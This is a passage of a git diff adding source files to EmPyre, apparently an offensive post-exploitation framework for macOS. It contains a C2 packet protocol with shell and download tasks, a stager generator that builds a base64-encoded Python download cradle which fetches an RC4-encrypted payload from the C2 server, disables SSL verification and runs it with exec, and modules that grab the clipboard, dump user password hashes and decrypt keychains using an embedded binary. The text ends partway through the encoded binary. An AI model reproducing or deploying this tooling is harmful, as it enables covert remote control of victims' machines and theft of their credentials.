"\n" + # width=40, indent=32, indentAll=False, + + lines = textwrap.wrap(textwrap.dedent(module.info['Description']).strip(), width=70) + for line in lines: + print "\t" + line + + print "\n" + + +def display_credentials(creds): + + print helpers.color("\nCredentials:\n", "blue") + print " CredID CredType Domain UserName Host Password" + print " ------ -------- ------ -------- ---- --------" + + for cred in creds: + # (id, credtype, domain, username, password, host, notes, sid) + credID = cred[0] + credType = cred[1] + domain = cred[2] + username = cred[3] + password = cred[4] + host = cred[5] + + print " %s%s%s%s%s%s" % ('{0: <8}'.format(credID), '{0: <11}'.format(credType), '{0: <25}'.format(domain), '{0: <17}'.format(username), '{0: <17}'.format(host),password) + + print "" + diff --git a/lib/common/modules.py b/lib/common/modules.py new file mode 100644 index 0000000..5d2e104 --- /dev/null +++ b/lib/common/modules.py @@ -0,0 +1,103 @@ +""" + +Module handling functionality for EmPyre. + +Right now, just loads up all modules from the +install path in the common config. + +""" + +import sqlite3 +import fnmatch +import os +import imp +import messages +import helpers + + +class Modules: + + def __init__(self, MainMenu, args): + + self.mainMenu = MainMenu + + # pull the database connection object out of the main menu + self.conn = self.mainMenu.conn + + self.args = args + + # module format: + # [ ("module/name", instance) ] + self.modules = {} + + # pull out the code install path from the database config + cur = self.conn.cursor() + cur.execute("SELECT install_path FROM config") + self.installPath = cur.fetchone()[0] + cur.close() + + self.load_modules() + + + def load_modules(self): + """ + Load modules from the install + "/lib/modules/*" path + """ + + rootPath = self.installPath + 'lib/modules/' + pattern = '*.py' + + for root, dirs, files in os.walk(rootPath): + for filename in fnmatch.filter(files, pattern): + filePath = os.path.join(root, filename) + + # don't load up the template + if filename == "template.py": continue + + # extract just the module name from the full path + moduleName = filePath.split("/lib/modules/")[-1][0:-3] + + # TODO: extract and CLI arguments and pass onto the modules + + # instantiate the module and save it to the internal cache + self.modules[moduleName] = imp.load_source(moduleName, filePath).Module(self.mainMenu, []) + + + def reload_module(self, moduleToReload): + """ + Reload a specific module from the install + "/lib/modules/*" path + """ + + rootPath = self.installPath + 'lib/modules/' + pattern = '*.py' + + for root, dirs, files in os.walk(rootPath): + for filename in fnmatch.filter(files, pattern): + filePath = os.path.join(root, filename) + + # don't load up the template + if filename == "template.py": continue + + # extract just the module name from the full path + moduleName = filePath.split("/lib/modules/")[-1][0:-3] + + # check to make sure we've found the specific module + if moduleName.lower() == moduleToReload.lower(): + # instantiate the module and save it to the internal cache + self.modules[moduleName] = imp.load_source(moduleName, filePath).Module(self.mainMenu, []) + + + def search_modules(self, searchTerm): + """ + Search currently loaded module names and descriptions. + """ + + print "" + + for moduleName,module in self.modules.iteritems(): + if searchTerm.lower() in moduleName.lower() or searchTerm.lower() in module.info['Description'].lower(): + messages.display_module_search(moduleName, module) + + # for comment in module.info['Comments']: + # if searchTerm.lower() in comment.lower(): + # messages.display_module_search(moduleName, module) diff --git a/lib/common/packets.py b/lib/common/packets.py new file mode 100644 index 0000000..a74d4f0 --- /dev/null +++ b/lib/common/packets.py @@ -0,0 +1,161 @@ +""" + +Packet handling functionality for EmPyre. + +Defines packet types, generates/validates epoch counters, +builds tasking packets and parses result packets + + + Packet format: + + [4 bytes] - type + [4 bytes] - counter + [4 bytes] - length + [X...] - tasking data + + + *_SAVE packets have the sub format: + + [15 chars] - save prefix + [5 chars] - extension + [X...] - tasking data + +""" + + +import struct, time, base64 + + +# 0 -> error +# 1-99 -> standard functionality +# 100-199 -> dynamic functionality +# 200-299 -> SMB functionality + +PACKET_NAMES = { + "ERROR" : 0, + + "TASK_SYSINFO" : 1, + "TASK_EXIT" : 2, + + "TASK_SET_DELAY" : 10, + "TASK_GET_DELAY" : 12, + "TASK_SET_SERVERS" : 13, + "TASK_ADD_SERVERS" : 14, + "TASK_UPDATE_PROFILE" : 20, + "TASK_SET_KILLDATE" : 30, + "TASK_GET_KILLDATE" : 31, + "TASK_SET_WORKING_HOURS" : 32, + "TASK_GET_WORKING_HOURS" : 33, + + "TASK_SHELL" : 40, + "TASK_DOWNLOAD" : 41, + "TASK_UPLOAD" : 42, + + "TASK_GETJOBS" : 50, + "TASK_STOPJOB" : 51, + + "TASK_CMD_WAIT" : 100, + "TASK_CMD_WAIT_SAVE" : 101, + "TASK_CMD_JOB" : 110, + "TASK_CMD_JOB_SAVE" : 111, + + "TASK_SMBWAIT" : 200, + "TASK_SMBWAIT_SAVE" : 201, + "TASK_SMBNOWAIT" : 210, + "TASK_SMBNOWAIT_SAVE" : 211, +} + +# build a lookup table for packet IDs +PACKET_IDS = {} +for name, ID in PACKET_NAMES.items(): PACKET_IDS[ID] = name + + +def get_counter(): + """ + Derives a 32-bit counter based on the epoch. + """ + return int(time.time()) + + +def validate_counter(counter): + """ + Validates a counter ensuring it's in a sliding window. + Window is +/- 10 minutes (600 seconds). + """ + # currentTime = int(time.time()) + # return (currentTime-600) <= counter <= (currentTime+600) + return True + + +def build_task_packet(taskName, data): + """ + Build a task packet for an agent. + + [4 bytes] - type + [4 bytes] - counter + [4 bytes] - length + [X...] - tasking data + """ + + taskID = struct.pack('=L', PACKET_NAMES[taskName]) + counter = struct.pack('=L', get_counter()) + length = struct.pack('=L',len(data)) + return taskID + counter + length + data.encode('ascii',errors='ignore') + + +def parse_result_packet(packet, packetOffset=0): + """ + Parse a result packet- + + Returns a tuple with (responseName, counter, length, data, remainingData) + """ + + try: + responseID = struct.unpack('=L', packet[0+packetOffset:4+packetOffset])[0] + counter = struct.unpack('=L', packet[4+packetOffset:8+packetOffset])[0] + length = struct.unpack('=L', packet[8+packetOffset:12+packetOffset])[0] + data = packet[12+packetOffset:12+packetOffset+length] + + #if isinstance(data, unicode): + # print "UNICODE DATA" + #elif isinstance(data, str): + # print "ASCII / UTF8" + remainingData = packet[12+packetOffset+length:] + return (PACKET_IDS[responseID], counter, length, data, remainingData) + except Exception as e: + return (None, None, None, None, None) + + +def parse_result_packets(packets): + """ + Parse a blob of one or more result packets + """ + + resultPackets = [] + + # parse the first result packet + (responseName, counter, length, data, remainingData) = parse_result_packet(packets) + + if responseName and responseName != '': + resultPackets.append( (responseName, counter, length, data) ) + + offset = 12 + length + + + while (remainingData and remainingData != ""): + # parse any additional result packets + (responseName, counter, length, data, remainingData) = parse_result_packet(packets, packetOffset=offset) + + if responseName and responseName != '': + resultPackets.append( (responseName, counter, length, data) ) + + offset += 12 + length + + return resultPackets + + +def resolve_id(ID): + """ + Resolve a packet ID to its key. + """ + return PACKET_IDS[int(ID)] diff --git a/lib/common/stagers.py b/lib/common/stagers.py new file mode 100644 index 0000000..695bd8c --- /dev/null +++ b/lib/common/stagers.py @@ -0,0 +1,300 @@ +""" + +Stager handling functionality for EmPyre. + +""" + +import fnmatch +import imp +import http +import helpers +import encryption +import os +import base64 + + +class Stagers: + + def __init__(self, MainMenu, args): + + self.mainMenu = MainMenu + + # pull the database connection object out of the main menu + self.conn = self.mainMenu.conn + + self.args = args + + # stager module format: + # [ ("stager_name", instance) ] + self.stagers = {} + + # pull out the code install path from the database config + cur = self.conn.cursor() + + cur.execute("SELECT install_path FROM config") + self.installPath = cur.fetchone()[0] + + cur.execute("SELECT default_profile FROM config") + self.userAgent = (cur.fetchone()[0]).split("|")[1] + + cur.close() + + # pull out staging information from the main menu + self.stage0 = self.mainMenu.stage0 + self.stage1 = self.mainMenu.stage1 + self.stage2 = self.mainMenu.stage2 + + self.load_stagers() + + + def load_stagers(self): + """ + Load stagers from the install + "/lib/stagers/*" path + """ + + rootPath = self.installPath + 'lib/stagers/' + pattern = '*.py' + + for root, dirs, files in os.walk(rootPath): + for filename in fnmatch.filter(files, pattern): + filePath = os.path.join(root, filename) + + # extract just the module name from the full path + stagerName = filePath.split("/lib/stagers/")[-1][0:-3] + + # instantiate the module and save it to the internal cache + self.stagers[stagerName] = imp.load_source(stagerName, filePath).Stager(self.mainMenu, []) + + + def set_stager_option(self, option, value): + """ + Sets an option for all stagers. + """ + + for name, stager in self.stagers.iteritems(): + for stagerOption,stagerValue in stager.options.iteritems(): + if stagerOption == option: + stager.options[option]['Value'] = str(value) + + + def generate_stager(self, server, key, profile, encrypt=True, encode=False): + """ + Generate the Python stager that will perform + key negotiation with the server and kick off the agent. + """ + + # TODO: implement for Python + + # read in the stager base + f = open(self.installPath + "/data/agent/stager.py") + stager = f.read() + f.close() + + stager = helpers.strip_python_comments(stager) + + # first line of randomized text to change up the ending RC4 string + randomHeader = "%s='%s'\n" % (helpers.random_string(), helpers.random_string()) + stager = randomHeader + stager + + if server.endswith("/"): server = server[0:-1] + + # # patch the server and key information + stager = stager.replace("REPLACE_SERVER", server) + stager = stager.replace("REPLACE_STAGING_KEY", key) + stager = stager.replace("REPLACE_PROFILE", profile) + stager = stager.replace("index.jsp", self.stage1) + stager = stager.replace("index.php", self.stage2) + + # # base64 encode the stager and return it + # if encode: + # return "" + if encrypt: + # return an encrypted version of the stager ("normal" staging) + # return encryption.xor_encrypt(stager, key) + return encryption.rc4(key, stager) + else: + # otherwise return the case-randomized stager + return stager + + + def generate_stager_hop(self, server, key, profile, encrypt=True, encode=True): + """ + Generate the Python stager for hop.php redirectors that + will perform key negotiation with the server and kick off the agent. + """ + + # read in the stager base + f = open(self.installPath + "./data/agent/stager_hop.py") + stager = f.read() + f.close() + + stager = helpers.strip_python_comments(stager) + + # first line of randomized text to change up the ending RC4 string + randomHeader = "%s='%s'\n" % (helpers.random_string(), helpers.random_string()) + stager = randomHeader + stager + + # patch the server and key information + stager = stager.replace("REPLACE_SERVER", server) + stager = stager.replace("REPLACE_STAGING_KEY", key) + stager = stager.replace("REPLACE_PROFILE", profile) + stager = stager.replace("index.jsp", self.stage1) + stager = stager.replace("index.php", self.stage2) + + # # base64 encode the stager and return it + # if encode: + # return "" + if encrypt: + # return an encrypted version of the stager ("normal" staging) + # return encryption.xor_encrypt(stager, key) + return encryption.rc4(key, stager) + else: + # otherwise return the case-randomized stager + return stager + + + def generate_agent(self, delay, jitter, profile, killDate, workingHours, lostLimit): + """ + Generate "standard API" functionality, i.e. the actual agent.py that runs. + + This should always be sent over encrypted comms. + """ + + f = open(self.installPath + "./data/agent/agent.py") + code = f.read() + f.close() + + # strip out comments and blank lines + code = helpers.strip_python_comments(code) + + b64DefaultPage = base64.b64encode(http.default_page()) + + # patch in the delay, jitter, lost limit, and comms profile + code = code.replace('delay = 60', 'delay = %s' %(delay)) + code = code.replace('jitter = 0.0', 'jitter = %s' %(jitter)) + code = code.replace('profile = "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', 'profile = "%s"' %(profile)) + code = code.replace('lostLimit = 60', 'lostLimit = %s' %(lostLimit)) + code = code.replace('defaultPage = base64.b64decode("")', 'defaultPage = base64.b64decode("%s")' %(b64DefaultPage)) + + # patch in the killDate and workingHours if they're specified + if killDate != "": + code = code.replace('killDate = ""', 'killDate = "%s"' %(killDate)) + if workingHours != "": + code = code.replace('workingHours = ""', 'workingHours = "%s"' %(killDate)) + + return code + + + def generate_launcher_uri(self, server, encode=True, pivotServer="", hop=False): + """ + Generate a base launcher URI. + + This is used in the management/psinject module. + """ + + if hop: + # generate the base64 encoded information for the hop translation + checksum = "?" + helpers.encode_base64(server + "&" + self.stage0) + else: + # get a valid staging checksum uri + checksum = self.stage0 + + if pivotServer != "": + checksum += "?" + helpers.encode_base64(pivotServer) + + if server.count("/") == 2 and not server.endswith("/"): + server += "/" + + return server + checksum + + + def generate_launcher(self, listenerName, encode=True, userAgent="default", proxy="default", proxyCreds="default"): + """ + Generate the initial Python 'download cradle' with a specified + c2 server and a valid HTTP checksum. + + listenerName -> a name of a validly registered listener + + userAgent -> "default" uses the UA from the default profile in the database + "none" sets no user agent + any other text is used as the user-agent + proxy -> "default" uses the default system proxy + "none" sets no proxy + any other text is used as the proxy + + """ + + # if we don't have a valid listener, return nothing + if not self.mainMenu.listeners.is_listener_valid(listenerName): + print helpers.color("[!] Invalid listener: " + listenerName) + return "" + + # extract the staging information from this specified listener + (server, stagingKey, pivotServer, hop) = self.mainMenu.listeners.get_stager_config(listenerName) + + # if UA is 'default', use the UA from the default profile in the database + if userAgent.lower() == "default": + userAgent = self.userAgent + + # get the launching stage0 URI + stage0uri = self.generate_launcher_uri(server, encode, pivotServer, hop) + + # adopted from MSF's python meterpreter staging + # https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/python/reverse_http.rb + + # first line of randomized text to change up the ending RC4 string + launcherBase = "%s='%s'\n" % (helpers.random_string(), helpers.random_string()) + + if "https" in stage0uri: + # monkey patch ssl woohooo + launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" + + launcherBase += "import sys, urllib2;" + launcherBase += "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener();" + launcherBase += "UA='%s';" %(userAgent) + launcherBase += "o.addheaders=[('User-Agent',UA)];" + launcherBase += "a=o.open('%s').read();" %(stage0uri) + launcherBase += "key='%s';" %(stagingKey) + # RC4 decryption + launcherBase += "S,j,out=range(256),0,[]\n" + launcherBase += "for i in range(256):\n" + launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n" + launcherBase += " S[i],S[j]=S[j],S[i]\n" + launcherBase += "i=j=0\n" + launcherBase += "for char in a:\n" + launcherBase += " i=(i+1)%256\n" + launcherBase += " j=(j+S[i])%256\n" + launcherBase += " S[i],S[j]=S[j],S[i]\n" + launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n" + launcherBase += "exec(''.join(out))" + + # base64 encode the stager and return it + if encode: + launchEncoded = base64.b64encode(launcherBase) + # launcher = "python -c \"import sys,base64;exec(base64.b64decode('%s'));\"" %(launchEncoded) + launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python &" %(launchEncoded) + return launcher + else: + return launcherBase + + + def generate_hop_php(self, server, resources): + """ + Generates a hop.php file with the specified target server + and resource URIs. + """ + + # read in the hop.php base + f = open(self.installPath + "/data/misc/hop.php") + hop = f.read() + f.close() + + # make sure the server ends with "/" + if not server.endswith("/"): server += "/" + + # patch in the server and resources + hop = hop.replace("REPLACE_SERVER", server) + hop = hop.replace("REPLACE_RESOURCES", resources) + + return hop + diff --git a/lib/modules/osx/clipboard.py b/lib/modules/osx/clipboard.py new file mode 100644 index 0000000..aa47811 --- /dev/null +++ b/lib/modules/osx/clipboard.py @@ -0,0 +1,106 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + # metadata info about the module, not modified during runtime + self.info = { + # name for the module that will appear in module menus + 'Name': 'ClipboardGrabber', + + # list of one or more authors for the module + 'Author': ['@424f424f'], + + # more verbose multi-line description of the module + 'Description': 'This module will write log output of clipboard to stdout (or disk).', + + # True if the module needs to run in the background + 'Background' : False, + + # File extension to save the file as + 'OutputExtension' : "", + + # if the module needs administrative privileges + 'NeedsAdmin' : False, + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe' : False, + + # list of any references/other comments + 'Comments': [''] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Agent to grab clipboard from.', + 'Required' : True, + 'Value' : '' + }, + 'OutFile' : { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Optional file to save the clipboard output to.', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + # During instantiation, any settable option parameters + # are passed as an object set to the module and the + # options dictionary is automatically set. This is mostly + # in case options are passed on the command line + if params: + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + outFile = self.options['OutFile']['Value'] + + # the Python script itself, with the command to invoke + # for execution appended to the end. Scripts should output + # everything to the pipeline for proper parsing. + # + # the script should be stripped of comments, with a link to any + # original reference script included in the comments. + script = """ +def func(): + from AppKit import NSPasteboard, NSStringPboardType + import time + import datetime + import sys + + try: + pb = NSPasteboard.generalPasteboard() + pbstring = pb.stringForType_(NSStringPboardType) + + outFile = '%s' + + if outFile != "": + f = file(outFile, 'a+') + f.write(pbstring) + f.close() + print "clipboard written to",outFile + else: + ts = time.time() + st = datetime.datetime.fromtimestamp(ts).strftime('%%Y-%%m-%%d %%H:%%M:%%S') + print st + ": %%s".encode("utf-8") %% repr(pbstring) + except Exception as e: + print e + time.sleep(1) + +func()""" %(outFile) + + return script \ No newline at end of file diff --git a/lib/modules/osx/hashdump.py b/lib/modules/osx/hashdump.py new file mode 100644 index 0000000..42eb090 --- /dev/null +++ b/lib/modules/osx/hashdump.py @@ -0,0 +1,106 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + # metadata info about the module, not modified during runtime + self.info = { + # name for the module that will appear in module menus + 'Name': 'Hashdump', + + # list of one or more authors for the module + 'Author': ['@harmj0y'], + + # more verbose multi-line description of the module + 'Description': ("Extracts found user hashes out of /var/db/dslocal/nodes/Default/users/*.plist"), + + # True if the module needs to run in the background + 'Background' : False, + + # File extension to save the file as + 'OutputExtension' : "", + + # if the module needs administrative privileges + 'NeedsAdmin' : True, + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe' : True, + + # list of any references/other comments + 'Comments': [ + "http://apple.stackexchange.com/questions/186893/os-x-10-9-where-are-password-hashes-stored" + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Agent to execute module on.', + 'Required' : True, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + # During instantiation, any settable option parameters + # are passed as an object set to the module and the + # options dictionary is automatically set. This is mostly + # in case options are passed on the command line + if params: + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + script = """ + +def getUserHash(userName): + from xml.etree import ElementTree + try: + raw = os.popen('sudo defaults read /var/db/dslocal/nodes/Default/users/%s.plist ShadowHashData|tr -dc 0-9a-f|xxd -r -p|plutil -convert xml1 - -o - 2> /dev/null' %(userName)).read() + + if len(raw) > 100: + + root = ElementTree.fromstring(raw) + children = root[0][1].getchildren() + + entropy64 = ''.join(children[1].text.split()) + iterations = children[3].text + salt64 = ''.join(children[5].text.split()) + + entropyRaw = base64.b64decode(entropy64) + entropyHex = entropyRaw.encode("hex") + + saltRaw = base64.b64decode(salt64) + saltHex = saltRaw.encode("hex") + + return (userName, "ml$%s$%s$%s" %(iterations, saltHex, entropyHex)) + + except Exception as e: + print "getUserHash() exception: %s" %(e) + pass + + +userNames = [ plist.split(".")[0] for plist in os.listdir('/var/db/dslocal/nodes/Default/users/') if not plist.startswith('_')] + +userHashes = [] +for userName in userNames: + userHash = getUserHash(userName) + if(userHash): + userHashes.append(getUserHash(userName)) + +print userHashes +""" + + return script diff --git a/lib/modules/osx/keychaindump.py b/lib/modules/osx/keychaindump.py new file mode 100644 index 0000000..4c32b57 --- /dev/null +++ b/lib/modules/osx/keychaindump.py @@ -0,0 +1,95 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + # metadata info about the module, not modified during runtime + self.info = { + # name for the module that will appear in module menus + 'Name': 'Webcam', + + # list of one or more authors for the module + 'Author': ['Juuso Salonen'], + + # more verbose multi-line description of the module + 'Description': ("Searches for keychain candidates and attempts to decrypt the user's keychain."), + + # True if the module needs to run in the background + 'Background' : False, + + # File extension to save the file as + 'OutputExtension' : "", + + # if the module needs administrative privileges + 'NeedsAdmin' : True, + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe' : False, + + # list of any references/other comments + 'Comments': [ + "https://github.com/juuso/keychaindump" + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Agent to execute module on.', + 'Required' : True, + 'Value' : '' + }, + 'TempDir' : { + 'Description' : 'Temporary directory to drop the keychaindump binary.', + 'Required' : True, + 'Value' : '/tmp/' + }, + 'KeyChain' : { + 'Description' : 'Manual location of keychain to decrypt, otherwise default.', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + # During instantiation, any settable option parameters + # are passed as an object set to the module and the + # options dictionary is automatically set. This is mostly + # in case options are passed on the command line + if params: + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + keyChain = self.options['KeyChain']['Value'] + tempDir = self.options['TempDir']['Value'] + if not tempDir.endswith("/"): + tempDir += "/" + + script = """ +import base64 +keychaindump = "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA